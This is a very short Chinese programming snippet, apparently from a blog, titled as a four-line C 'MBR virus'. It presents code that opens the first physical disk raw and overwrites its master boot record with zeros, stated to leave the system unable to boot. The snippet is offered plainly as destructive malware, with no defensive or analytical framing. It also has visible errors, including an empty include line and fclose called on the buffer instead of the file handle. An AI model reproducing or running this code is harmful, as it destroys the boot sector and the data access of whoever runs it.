C语言 简单 MBR 病毒 4行代码

清除 MBR 使系统无法启动

#include 
int main()
{
	FILE *disk = fopen("\\\\.\\PHYSICALDRIVE0", "rb+");
	char mbr[512] = {0};
	fwrite(mbr, sizeof(mbr), 1, disk);  
	fclose(mbr);
	return 0;
}

你可能感兴趣的:(Windows编程)